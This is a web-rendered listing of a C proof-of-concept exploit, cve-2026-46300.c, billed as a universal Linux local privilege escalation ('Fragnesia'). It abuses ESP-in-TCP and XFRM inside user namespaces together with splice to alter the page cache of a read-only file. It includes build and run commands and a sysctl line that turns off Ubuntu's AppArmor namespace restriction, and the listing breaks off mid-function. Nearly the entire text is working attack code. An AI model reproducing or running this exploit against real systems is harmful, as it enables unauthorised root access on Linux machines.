cve-toolkit

CVE helper toolkit
git clone git://git.finwo.net/app/cve-toolkit
Log | Files | Refs | README | LICENSE

cve-2026-46300.c (39647B)


      1 // Fragnesia: universal Linux LPE
      2 // Ubuntu users: AppArmor interferes with using namespaces, you need to use
      3 // `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0`.
      4 //
      5 // You can chain other bugs to bypass this requirement but this is out of scope for this vulnerability.
      6 //
      7 // Found with V12 by William Bowling on the V12 team
      8 // V12 - https://v12.sh - dangerously powerful agentic security
      9 
     10 // Patch: https://lists.openwall.net/netdev/2026/05/13/79
     11 
     12 /*
     13  * Slim ESP-in-TCP/TCP-coalesce page-cache replacement PoC.
     14  *
     15  * It only targets an already prepared disposable regular file under /tmp or
     16  * /var/tmp.  The file must be readable by the caller and should be non-writable
     17  * to demonstrate the permission boundary.
     18  *
     19  * Build:
     20  *   gcc -O2 -Wall -Wextra -static xfrm_espintcp_pagecache_replace.c -o xfrm_espintcp_pagecache_replace
     21  *
     22  * Run:
     23  *   ./xfrm_espintcp_pagecache_replace /tmp/root-owned-copy 0 42434445
     24  *
     25  * Exit codes:
     26  *   1: vulnerable behavior verified
     27  *   0: fixed/no mutation observed
     28  *   2: local setup or argument error
     29  *   4: namespace/XFRM gate closed
     30  */
     31 
     32 #define _GNU_SOURCE
     33 
     34 #include <arpa/inet.h>
     35 #include <errno.h>
     36 #include <fcntl.h>
     37 #include <grp.h>
     38 
     39 #include "setup.h"
     40 #if __has_include(<linux/if_alg.h>)
     41 #include <linux/if_alg.h>
     42 #else
     43 #include <linux/types.h>
     44 struct sockaddr_alg {
     45   __u16 salg_family;
     46   __u8  salg_type[14];
     47   __u32 salg_feat;
     48   __u32 salg_mask;
     49   __u8  salg_name[64];
     50 };
     51 #endif
     52 #include <limits.h>
     53 #include <linux/netlink.h>
     54 #include <linux/udp.h>
     55 #include <linux/xfrm.h>
     56 #include <net/if.h>
     57 #include <netinet/in.h>
     58 #include <netinet/tcp.h>
     59 #include <sched.h>
     60 #include <signal.h>
     61 #include <stdbool.h>
     62 #include <stdint.h>
     63 #include <stdio.h>
     64 #include <stdlib.h>
     65 #include <string.h>
     66 #include <sys/ioctl.h>
     67 #include <sys/prctl.h>
     68 #include <sys/socket.h>
     69 #include <sys/stat.h>
     70 #include <sys/syscall.h>
     71 #include <sys/types.h>
     72 #include <sys/wait.h>
     73 #include <unistd.h>
     74 
     75 #ifndef TCP_ULP
     76 #define TCP_ULP 31
     77 #endif
     78 
     79 #ifndef NETLINK_XFRM
     80 #define NETLINK_XFRM 6
     81 #endif
     82 
     83 #ifndef TCP_ENCAP_ESPINTCP
     84 #define TCP_ENCAP_ESPINTCP 7
     85 #endif
     86 
     87 #ifndef AF_ALG
     88 #define AF_ALG 38
     89 #endif
     90 
     91 #ifndef SOL_ALG
     92 #define SOL_ALG 279
     93 #endif
     94 
     95 #ifndef ALG_SET_KEY
     96 #define ALG_SET_KEY 1
     97 #endif
     98 
     99 #ifndef ALG_SET_OP
    100 #define ALG_SET_OP 3
    101 #endif
    102 
    103 #ifndef ALG_OP_ENCRYPT
    104 #define ALG_OP_ENCRYPT 1
    105 #endif
    106 
    107 #ifndef NLA_ALIGNTO
    108 #define NLA_ALIGNTO 4
    109 #endif
    110 
    111 #ifndef NLA_ALIGN
    112 #define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
    113 #endif
    114 
    115 #ifndef NLA_HDRLEN
    116 #define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
    117 #endif
    118 
    119 #define FRAG_LEN              4096
    120 #define ESP_GCM_ICV_LEN       16
    121 #define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN)
    122 #define TCP_PORT              5556
    123 
    124 #define PAYLOAD_LEN        192
    125 #define FRAME_PAYLOAD_ROWS 12 /* ceil(PAYLOAD_LEN / 16) */
    126 #define FRAME_BAR_W        50
    127 #define FRAME_LINES        15 /* 1 header + 12 hex + 1 bar + 1 sep */
    128 
    129 #define RECEIVER_PRE_ULP_US  30000
    130 #define SENDER_PRE_SPLICE_US 1000
    131 #define RECEIVER_POST_ULP_US 30000
    132 
    133 static const unsigned char xfrm_aead_key[20] = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99,
    134                                                 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff, 0x01, 0x02, 0x03, 0x04};
    135 
    136 static unsigned char active_esp_gcm_iv[8] = {0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc};
    137 static uint32_t      active_esp_seq       = 1;
    138 static const char   *target_file;
    139 static char          target_file_buf[PATH_MAX];
    140 static loff_t        target_splice_off;
    141 
    142 static uint16_t stream0_nonce[256];
    143 static bool     stream0_have[256];
    144 
    145 static void die(const char *what) {
    146   fprintf(stderr, "%s: %s\n", what, strerror(errno));
    147   exit(2);
    148 }
    149 
    150 static int drop_page_cache(void) {
    151   int fd = open("/proc/sys/vm/drop_caches", O_WRONLY);
    152   if (fd < 0) return -1;
    153   int r = (write(fd, "1", 1) == 1) ? 0 : -1;
    154   close(fd);
    155   return r;
    156 }
    157 
    158 static void gate_fail(const char *what) {
    159   fprintf(stderr, "namespace_gate_failed: %s errno=%d (%s)\n", what, errno, strerror(errno));
    160   exit(4);
    161 }
    162 
    163 static void store_be32(unsigned char *p, uint32_t v) {
    164   p[0] = (unsigned char)(v >> 24);
    165   p[1] = (unsigned char)(v >> 16);
    166   p[2] = (unsigned char)(v >> 8);
    167   p[3] = (unsigned char)v;
    168 }
    169 
    170 /* ANSI colours */
    171 #define C_RESET  "\033[0m"
    172 #define C_BOLD   "\033[1m"
    173 #define C_DIM    "\033[2m"
    174 #define C_RED    "\033[31m"
    175 #define C_GREEN  "\033[32m"
    176 #define C_YELLOW "\033[33m"
    177 #define C_CYAN   "\033[36m"
    178 #define C_WHITE  "\033[97m"
    179 #define C_BRED   "\033[1;31m"
    180 #define C_BGRN   "\033[1;32m"
    181 #define C_BYLW   "\033[1;33m"
    182 #define C_BCYN   "\033[1;36m"
    183 #define C_BWHT   "\033[1;97m"
    184 
    185 static void print_hex_bytes(const char *label, const unsigned char *buf, size_t len) {
    186   size_t i;
    187 
    188   fprintf(stderr, C_DIM "%s=" C_RESET C_CYAN, label);
    189   for (i = 0; i < len; i++) fprintf(stderr, "%02x", buf[i]);
    190   fprintf(stderr, C_RESET "\n");
    191 }
    192 
    193 /* Dump a 16-byte aligned row centred on `highlight_off`, marking that byte. */
    194 static void print_hex_row(const char *path, uint64_t highlight_off, const char *before_label, unsigned char before_val,
    195                           const char *after_label, unsigned char after_val) {
    196   uint64_t      row_start = highlight_off & ~(uint64_t)15;
    197   unsigned char row[16];
    198   ssize_t       got;
    199   size_t        col;
    200   int           fd;
    201 
    202   fd = open(path, O_RDONLY | O_CLOEXEC);
    203   if (fd < 0) return;
    204   got = pread(fd, row, sizeof(row), (off_t)row_start);
    205   close(fd);
    206   if (got <= 0) return;
    207 
    208   /* Hex section */
    209   fprintf(stderr, C_DIM "  %016llx  " C_RESET, (unsigned long long)row_start);
    210   for (col = 0; col < 16; col++) {
    211     if (col == 8) fprintf(stderr, " ");
    212     if ((size_t)got > col) {
    213       if (row_start + col == highlight_off)
    214         fprintf(stderr, C_BRED "[%02x]" C_RESET, row[col]);
    215       else
    216         fprintf(stderr, C_DIM "%02x " C_RESET, row[col]);
    217     } else {
    218       fprintf(stderr, C_DIM "   " C_RESET);
    219     }
    220   }
    221 
    222   /* ASCII section */
    223   fprintf(stderr, "  " C_DIM "|" C_RESET);
    224   for (col = 0; col < (size_t)got; col++) {
    225     unsigned char c = row[col];
    226     if (row_start + col == highlight_off)
    227       fprintf(stderr, C_BRED "%c" C_RESET, (c >= 0x20 && c < 0x7f) ? c : '.');
    228     else
    229       fprintf(stderr, C_DIM "%c" C_RESET, (c >= 0x20 && c < 0x7f) ? c : '.');
    230   }
    231   fprintf(stderr, C_DIM "|" C_RESET "\n");
    232 
    233   /* Annotation line */
    234   size_t col_off   = (size_t)(highlight_off - row_start);
    235   size_t arrow_pos = 20 + col_off * 3 + (col_off >= 8 ? 1 : 0) + 1;
    236   fprintf(stderr,
    237           "%*s" C_BYLW "^-- +%04llx  " C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET "  ->  " C_GREEN "%s" C_RESET
    238           ":" C_BGRN "%02x" C_RESET "\n",
    239           (int)arrow_pos, "", (unsigned long long)(highlight_off & 0xffff), before_label, before_val, after_label,
    240           after_val);
    241 }
    242 
    243 static int open_afalg_aes_ecb(void) {
    244   struct sockaddr_alg sa = {
    245       .salg_family = AF_ALG,
    246   };
    247   int fd;
    248 
    249   fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0);
    250   if (fd < 0) die("socket(AF_ALG)");
    251 
    252   strcpy((char *)sa.salg_type, "skcipher");
    253   strcpy((char *)sa.salg_name, "ecb(aes)");
    254   if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) die("bind AF_ALG ecb(aes)");
    255   if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0) die("setsockopt AF_ALG key");
    256 
    257   return fd;
    258 }
    259 
    260 static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16], unsigned char out[16]) {
    261   char         cbuf[CMSG_SPACE(sizeof(uint32_t))] = {};
    262   struct iovec iov                                = {
    263                                      .iov_base = (void *)in,
    264                                      .iov_len  = 16,
    265   };
    266   struct msghdr msg = {
    267       .msg_iov        = &iov,
    268       .msg_iovlen     = 1,
    269       .msg_control    = cbuf,
    270       .msg_controllen = sizeof(cbuf),
    271   };
    272   struct cmsghdr *cmsg;
    273   uint32_t        op = ALG_OP_ENCRYPT;
    274   ssize_t         ret;
    275   int             op_fd;
    276 
    277   op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC);
    278   if (op_fd < 0) die("accept AF_ALG");
    279 
    280   cmsg             = CMSG_FIRSTHDR(&msg);
    281   cmsg->cmsg_level = SOL_ALG;
    282   cmsg->cmsg_type  = ALG_SET_OP;
    283   cmsg->cmsg_len   = CMSG_LEN(sizeof(op));
    284   memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
    285 
    286   ret = sendmsg(op_fd, &msg, 0);
    287   if (ret != 16) die("sendmsg AF_ALG block");
    288   ret = read(op_fd, out, 16);
    289   if (ret != 16) die("read AF_ALG block");
    290 
    291   close(op_fd);
    292 }
    293 
    294 static unsigned char aes_gcm_stream0_byte(int alg_fd, const unsigned char iv[8]) {
    295   unsigned char counter_block[16], stream[16];
    296 
    297   memcpy(counter_block, &xfrm_aead_key[16], 4);
    298   memcpy(counter_block + 4, iv, 8);
    299   store_be32(counter_block + 12, 2);
    300   afalg_aes_encrypt_block(alg_fd, counter_block, stream);
    301   return stream[0];
    302 }
    303 
    304 static void build_stream0_table(void) {
    305   unsigned char iv[8] = {0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc};
    306   unsigned int  count = 0, nonce;
    307   int           alg_fd;
    308 
    309   alg_fd = open_afalg_aes_ecb();
    310   for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) {
    311     unsigned char b;
    312 
    313     store_be32(iv + 4, nonce);
    314     b = aes_gcm_stream0_byte(alg_fd, iv);
    315     if (stream0_have[b]) continue;
    316     stream0_have[b]  = true;
    317     stream0_nonce[b] = (uint16_t)nonce;
    318     count++;
    319   }
    320   close(alg_fd);
    321 
    322   if (count != 256) {
    323     fprintf(stderr, "failed to build complete stream-byte table: %u/256\n", count);
    324     exit(2);
    325   }
    326   fprintf(stderr, "stream0_table_entries=256\n");
    327 }
    328 
    329 static void choose_iv_for_stream0(unsigned char need_stream) {
    330   uint16_t nonce = stream0_nonce[need_stream];
    331 
    332   memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv));
    333   store_be32(active_esp_gcm_iv + 4, nonce);
    334   fprintf(stderr, "byte_flip_nonce=%u stream_byte=%02x\n", nonce, need_stream);
    335   print_hex_bytes("byte_flip_packet_iv", active_esp_gcm_iv, sizeof(active_esp_gcm_iv));
    336 }
    337 
    338 static uint64_t parse_u64_arg(const char *s, const char *name) {
    339   char              *end = NULL;
    340   unsigned long long v;
    341 
    342   if (s[0] == '-') {
    343     fprintf(stderr, "invalid %s: %s\n", name, s);
    344     exit(2);
    345   }
    346   errno = 0;
    347   v     = strtoull(s, &end, 0);
    348   if (errno || !end || *end != '\0') {
    349     fprintf(stderr, "invalid %s: %s\n", name, s);
    350     exit(2);
    351   }
    352   return (uint64_t)v;
    353 }
    354 
    355 static int hex_nibble(int c) {
    356   if (c >= '0' && c <= '9') return c - '0';
    357   if (c >= 'a' && c <= 'f') return 10 + c - 'a';
    358   if (c >= 'A' && c <= 'F') return 10 + c - 'A';
    359   return -1;
    360 }
    361 
    362 static bool is_hex_separator(int c) {
    363   return c == ':' || c == ',' || c == '-' || c == '_' || c == ' ' || c == '\t' || c == '\n' || c == '\r';
    364 }
    365 
    366 static unsigned char *parse_hex_bytes_arg(const char *s, size_t *len_out) {
    367   size_t         cap = strlen(s) / 2 + 1, len = 0;
    368   unsigned char *buf;
    369   int            hi = -1, v;
    370 
    371   buf = malloc(cap);
    372   if (!buf) die("malloc desired bytes");
    373 
    374   for (; *s; s++) {
    375     if (is_hex_separator((unsigned char)*s)) continue;
    376     if (hi < 0 && s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) {
    377       s++;
    378       continue;
    379     }
    380 
    381     v = hex_nibble((unsigned char)*s);
    382     if (v < 0) {
    383       fprintf(stderr, "invalid hex byte string near '%c'\n", *s);
    384       exit(2);
    385     }
    386     if (hi < 0) {
    387       hi = v;
    388       continue;
    389     }
    390     buf[len++] = (unsigned char)((hi << 4) | v);
    391     hi         = -1;
    392   }
    393 
    394   if (hi >= 0) {
    395     fprintf(stderr, "hex byte string has an odd number of nibbles\n");
    396     exit(2);
    397   }
    398   if (len == 0) {
    399     fprintf(stderr, "hex byte string is empty\n");
    400     exit(2);
    401   }
    402 
    403   *len_out = len;
    404   return buf;
    405 }
    406 
    407 static unsigned char read_byte_at(const char *path, uint64_t off) {
    408   unsigned char b;
    409   ssize_t       ret;
    410   int           fd;
    411 
    412   fd = open(path, O_RDONLY | O_CLOEXEC);
    413   if (fd < 0) die("open read byte");
    414   ret = pread(fd, &b, 1, (off_t)off);
    415   if (ret < 0) die("pread byte");
    416   if (ret != 1) {
    417     fprintf(stderr, "short pread at offset=%llu\n", (unsigned long long)off);
    418     exit(2);
    419   }
    420   close(fd);
    421   return b;
    422 }
    423 
    424 static void print_file_sample(const char *label, uint64_t off, size_t len) {
    425   unsigned char buf[32];
    426   ssize_t       ret;
    427   int           fd;
    428 
    429   if (len > sizeof(buf)) len = sizeof(buf);
    430   fd = open(target_file, O_RDONLY | O_CLOEXEC);
    431   if (fd < 0) die("open sample");
    432   ret = pread(fd, buf, len, (off_t)off);
    433   if (ret < 0) die("pread sample");
    434   close(fd);
    435   if ((size_t)ret != len) {
    436     fprintf(stderr, "short sample at offset=%llu len=%zu got=%zd\n", (unsigned long long)off, len, ret);
    437     exit(2);
    438   }
    439   print_hex_bytes(label, buf, len);
    440 }
    441 
    442 static uint64_t use_existing_target(const char *path) {
    443   struct stat lst, st;
    444 
    445   if (lstat(path, &lst) < 0) die("lstat target");
    446   if (!S_ISREG(lst.st_mode)) {
    447     fprintf(stderr, "target is not a regular file\n");
    448     exit(2);
    449   }
    450   if (stat(path, &st) < 0) die("stat target");
    451   if (!S_ISREG(st.st_mode)) {
    452     fprintf(stderr, "target is not a regular file\n");
    453     exit(2);
    454   }
    455   if (st.st_size < FRAG_LEN) {
    456     fprintf(stderr, "target is too small: size=%lld need>=%d\n", (long long)st.st_size, FRAG_LEN);
    457     exit(2);
    458   }
    459   if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >= (int)sizeof(target_file_buf)) {
    460     fprintf(stderr, "target path is too long\n");
    461     exit(2);
    462   }
    463 
    464   target_file = target_file_buf;
    465   return (uint64_t)st.st_size;
    466 }
    467 
    468 static void verify_write_denied(const char *label) {
    469   int fd;
    470 
    471   errno = 0;
    472   fd    = open(target_file, O_WRONLY | O_CLOEXEC);
    473   if (fd >= 0) {
    474     close(fd);
    475     fprintf(stderr, "namespace_gate_failed: %s write-open unexpectedly succeeded\n", label);
    476     exit(4);
    477   }
    478 
    479   fprintf(stderr, "%s_write_open_denied=1 errno=%d (%s)\n", label, errno, strerror(errno));
    480 }
    481 
    482 static int write_all_file_status(const char *path, const char *buf) {
    483   size_t len = strlen(buf);
    484   int    fd, saved_errno;
    485 
    486   fd = open(path, O_WRONLY | O_CLOEXEC);
    487   if (fd < 0) return -1;
    488   if (write(fd, buf, len) != (ssize_t)len) {
    489     saved_errno = errno;
    490     close(fd);
    491     errno = saved_errno;
    492     return -1;
    493   }
    494   close(fd);
    495   return 0;
    496 }
    497 
    498 static void sync_write_byte(int fd) {
    499   char c = 'M';
    500 
    501   if (write(fd, &c, 1) != 1) die("sync write");
    502   close(fd);
    503 }
    504 
    505 static void sync_read_byte(int fd) {
    506   char c;
    507 
    508   if (read(fd, &c, 1) != 1) die("sync read");
    509   close(fd);
    510 }
    511 
    512 static void parent_map_write_or_exit(pid_t child, const char *name, const char *data) {
    513   char path[128];
    514 
    515   snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name);
    516   if (write_all_file_status(path, data) < 0) {
    517     fprintf(stderr, "namespace_gate_failed: %s errno=%d (%s)\n", path, errno, strerror(errno));
    518     kill(child, SIGKILL);
    519     waitpid(child, NULL, 0);
    520     exit(4);
    521   }
    522 }
    523 
    524 static void enter_mapped_userns(void) {
    525   uid_t outer_uid = getuid();
    526   gid_t outer_gid = getgid();
    527   int   ready_pipe[2], mapped_pipe[2], status;
    528   char  map[128];
    529   pid_t child;
    530 
    531   if (pipe(ready_pipe) < 0) die("pipe ready");
    532   if (pipe(mapped_pipe) < 0) die("pipe mapped");
    533 
    534   child = fork();
    535   if (child < 0) die("fork userns mapper");
    536 
    537   if (child > 0) {
    538     close(ready_pipe[1]);
    539     close(mapped_pipe[0]);
    540 
    541     sync_read_byte(ready_pipe[0]);
    542 
    543     snprintf(map, sizeof(map), "0 %u 1\n", outer_uid);
    544     parent_map_write_or_exit(child, "uid_map", map);
    545     parent_map_write_or_exit(child, "setgroups", "deny\n");
    546     snprintf(map, sizeof(map), "0 %u 1\n", outer_gid);
    547     parent_map_write_or_exit(child, "gid_map", map);
    548 
    549     sync_write_byte(mapped_pipe[1]);
    550 
    551     if (waitpid(child, &status, 0) < 0) die("wait userns child");
    552     if (WIFEXITED(status)) exit(WEXITSTATUS(status));
    553     if (WIFSIGNALED(status)) {
    554       fprintf(stderr, "userns child killed by signal %d\n", WTERMSIG(status));
    555       exit(2);
    556     }
    557     exit(2);
    558   }
    559 
    560   close(ready_pipe[0]);
    561   close(mapped_pipe[1]);
    562 
    563   if (unshare(CLONE_NEWUSER) < 0) gate_fail("unshare(CLONE_NEWUSER)");
    564 
    565   sync_write_byte(ready_pipe[1]);
    566   sync_read_byte(mapped_pipe[0]);
    567 
    568   if (setresgid(0, 0, 0) < 0) gate_fail("setresgid 0 in userns");
    569   if (setresuid(0, 0, 0) < 0) gate_fail("setresuid 0 in userns");
    570 
    571   fprintf(stderr, "userns_setup: outer_uid=%u outer_gid=%u ns_uid=%d ns_gid=%d\n", outer_uid, outer_gid, getuid(),
    572           getgid());
    573 }
    574 
    575 static void bring_loopback_up(void) {
    576   struct ifreq ifr;
    577   int          fd;
    578 
    579   fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
    580   if (fd < 0) gate_fail("socket(AF_INET)");
    581 
    582   memset(&ifr, 0, sizeof(ifr));
    583   strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
    584   if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0) gate_fail("SIOCGIFFLAGS lo");
    585   ifr.ifr_flags |= IFF_UP;
    586   if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0) gate_fail("SIOCSIFFLAGS lo up");
    587   close(fd);
    588 
    589   fprintf(stderr, "loopback_up=1\n");
    590 }
    591 
    592 static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen, unsigned short type, const void *data, size_t len) {
    593   size_t         off = NLMSG_ALIGN(nlh->nlmsg_len);
    594   struct nlattr *nla;
    595 
    596   if (off + NLA_HDRLEN + len > maxlen) {
    597     fprintf(stderr, "netlink message too small\n");
    598     exit(2);
    599   }
    600 
    601   nla           = (struct nlattr *)((char *)nlh + off);
    602   nla->nla_type = type;
    603   nla->nla_len  = NLA_HDRLEN + len;
    604   memcpy((char *)nla + NLA_HDRLEN, data, len);
    605   nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len);
    606 }
    607 
    608 static int nl_ack_errno(char *buf, ssize_t len) {
    609   struct nlmsghdr *nlh;
    610   struct nlmsgerr *err;
    611 
    612   for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) {
    613     if (nlh->nlmsg_type != NLMSG_ERROR) continue;
    614     err = (struct nlmsgerr *)NLMSG_DATA(nlh);
    615     if (err->error == 0) return 0;
    616     errno = -err->error;
    617     return -1;
    618   }
    619 
    620   errno = EPROTO;
    621   return -1;
    622 }
    623 
    624 static void add_xfrm_espintcp_state(void) {
    625   char               reqbuf[4096], resp[4096];
    626   char               aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)];
    627   struct sockaddr_nl sa = {
    628       .nl_family = AF_NETLINK,
    629   };
    630   struct xfrm_usersa_info *xs;
    631   struct xfrm_algo_aead   *aead;
    632   struct xfrm_encap_tmpl   encap;
    633   struct nlmsghdr         *nlh;
    634   ssize_t                  ret;
    635   int                      fd;
    636 
    637   memset(reqbuf, 0, sizeof(reqbuf));
    638   nlh              = (struct nlmsghdr *)reqbuf;
    639   nlh->nlmsg_len   = NLMSG_LENGTH(sizeof(*xs));
    640   nlh->nlmsg_type  = XFRM_MSG_NEWSA;
    641   nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
    642   nlh->nlmsg_seq   = 1;
    643 
    644   xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
    645   if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1) die("inet_pton saddr");
    646   if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1) die("inet_pton daddr");
    647   xs->id.spi                = htonl(0x100);
    648   xs->id.proto              = IPPROTO_ESP;
    649   xs->family                = AF_INET6;
    650   xs->mode                  = XFRM_MODE_TRANSPORT;
    651   xs->reqid                 = 1;
    652   xs->lft.soft_byte_limit   = XFRM_INF;
    653   xs->lft.hard_byte_limit   = XFRM_INF;
    654   xs->lft.soft_packet_limit = XFRM_INF;
    655   xs->lft.hard_packet_limit = XFRM_INF;
    656 
    657   memset(aeadbuf, 0, sizeof(aeadbuf));
    658   aead = (struct xfrm_algo_aead *)aeadbuf;
    659   snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))");
    660   aead->alg_key_len = sizeof(xfrm_aead_key) * 8;
    661   aead->alg_icv_len = 128;
    662   memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key));
    663   add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf));
    664 
    665   memset(&encap, 0, sizeof(encap));
    666   encap.encap_type  = TCP_ENCAP_ESPINTCP;
    667   encap.encap_sport = htons(TCP_PORT);
    668   encap.encap_dport = htons(TCP_PORT);
    669   add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap));
    670 
    671   fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM);
    672   if (fd < 0) gate_fail("socket(NETLINK_XFRM)");
    673   if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) gate_fail("bind(NETLINK_XFRM)");
    674 
    675   memset(&sa, 0, sizeof(sa));
    676   sa.nl_family = AF_NETLINK;
    677   ret          = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa));
    678   if (ret < 0) gate_fail("sendto XFRM_MSG_NEWSA");
    679   if (ret != (ssize_t)nlh->nlmsg_len) {
    680     errno = EIO;
    681     gate_fail("short sendto XFRM_MSG_NEWSA");
    682   }
    683 
    684   ret = recv(fd, resp, sizeof(resp), 0);
    685   if (ret < 0) gate_fail("recv XFRM ack");
    686   if (nl_ack_errno(resp, ret) < 0) gate_fail("XFRM_MSG_NEWSA ack");
    687   close(fd);
    688 
    689   fprintf(stderr, "xfrm_espintcp_state_add=1\n");
    690 }
    691 
    692 static void setup_user_netns_xfrm(void) {
    693   if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0) die("prctl PR_SET_DUMPABLE");
    694   enter_mapped_userns();
    695 
    696   if (unshare(CLONE_NEWNET) < 0) gate_fail("unshare(CLONE_NEWNET)");
    697 
    698   fprintf(stderr, "netns_setup=1\n");
    699   bring_loopback_up();
    700   add_xfrm_espintcp_state();
    701   fprintf(stderr, "namespace_setup_complete=1\n");
    702 }
    703 
    704 static void write_ready(int fd) {
    705   char c = 'R';
    706 
    707   if (write(fd, &c, 1) != 1) die("ready write");
    708   close(fd);
    709 }
    710 
    711 static void wait_ready(int fd) {
    712   char c;
    713 
    714   if (read(fd, &c, 1) != 1) die("ready read");
    715   close(fd);
    716 }
    717 
    718 static void receiver(int ready_write_fd) {
    719   struct sockaddr_in6 addr = {
    720       .sin6_family   = AF_INET6,
    721       .sin6_addr     = IN6ADDR_LOOPBACK_INIT,
    722       .sin6_port     = htons(TCP_PORT),
    723       .sin6_flowinfo = 0,
    724       .sin6_scope_id = 0,
    725   };
    726   char ulp[] = "espintcp";
    727   int  fd, cfd, one = 1;
    728 
    729   fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
    730   if (fd < 0) die("receiver socket");
    731   if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0) die("receiver reuseaddr");
    732   if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) die("receiver bind");
    733   if (listen(fd, 1) < 0) die("receiver listen");
    734 
    735   write_ready(ready_write_fd);
    736 
    737   cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC);
    738   if (cfd < 0) die("receiver accept");
    739 
    740   usleep(RECEIVER_PRE_ULP_US);
    741   if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0) die("receiver TCP_ULP espintcp");
    742 
    743   fprintf(stderr, "receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n", getuid(), geteuid());
    744   usleep(RECEIVER_POST_ULP_US);
    745   close(cfd);
    746   close(fd);
    747   _exit(0);
    748 }
    749 
    750 static void sender(int ready_read_fd) {
    751   struct sockaddr_in6 dst = {
    752       .sin6_family   = AF_INET6,
    753       .sin6_addr     = IN6ADDR_LOOPBACK_INIT,
    754       .sin6_port     = htons(TCP_PORT),
    755       .sin6_flowinfo = 0,
    756       .sin6_scope_id = 0,
    757   };
    758   struct {
    759     __be16        len;
    760     unsigned char esp[16];
    761   } prefix;
    762   loff_t  off, start_off;
    763   int     fd, sock, p[2], one = 1;
    764   ssize_t ret, sent;
    765 
    766   wait_ready(ready_read_fd);
    767 
    768   memset(&prefix, 0xcc, sizeof(prefix));
    769   prefix.len    = htons(sizeof(prefix) + FRAG_LEN);
    770   prefix.esp[0] = 0x00;
    771   prefix.esp[1] = 0x00;
    772   prefix.esp[2] = 0x01;
    773   prefix.esp[3] = 0x00;
    774   store_be32(&prefix.esp[4], active_esp_seq);
    775   memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv));
    776 
    777   fd = open(target_file, O_RDONLY | O_CLOEXEC);
    778   if (fd < 0) die("sender open target");
    779   sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
    780   if (sock < 0) die("sender socket");
    781   if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0) die("sender TCP_NODELAY");
    782   if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0) die("sender connect");
    783 
    784   sent = send(sock, &prefix, sizeof(prefix), 0);
    785   if (sent != (ssize_t)sizeof(prefix)) die("sender send prefix");
    786 
    787   usleep(SENDER_PRE_SPLICE_US);
    788 
    789   if (pipe(p) < 0) die("sender pipe");
    790   off       = target_splice_off;
    791   start_off = off;
    792   ret       = splice(fd, &off, p[1], NULL, FRAG_LEN, 0);
    793   if (ret != FRAG_LEN) die("sender splice file to pipe");
    794 
    795   ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0);
    796   if (ret < 0) die("sender splice pipe to tcp");
    797 
    798   fprintf(stderr, "sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n",
    799           getuid(), geteuid(), sent, ret, (long long)start_off, (long long)off);
    800 
    801   close(p[0]);
    802   close(p[1]);
    803   close(sock);
    804   close(fd);
    805   _exit(ret == FRAG_LEN ? 0 : 3);
    806 }
    807 
    808 static int run_trigger_pair(void) {
    809   int   pipefd[2], st_rx, st_tx;
    810   pid_t rx, tx;
    811 
    812   if (pipe(pipefd) < 0) die("pipe");
    813 
    814   rx = fork();
    815   if (rx < 0) die("fork receiver");
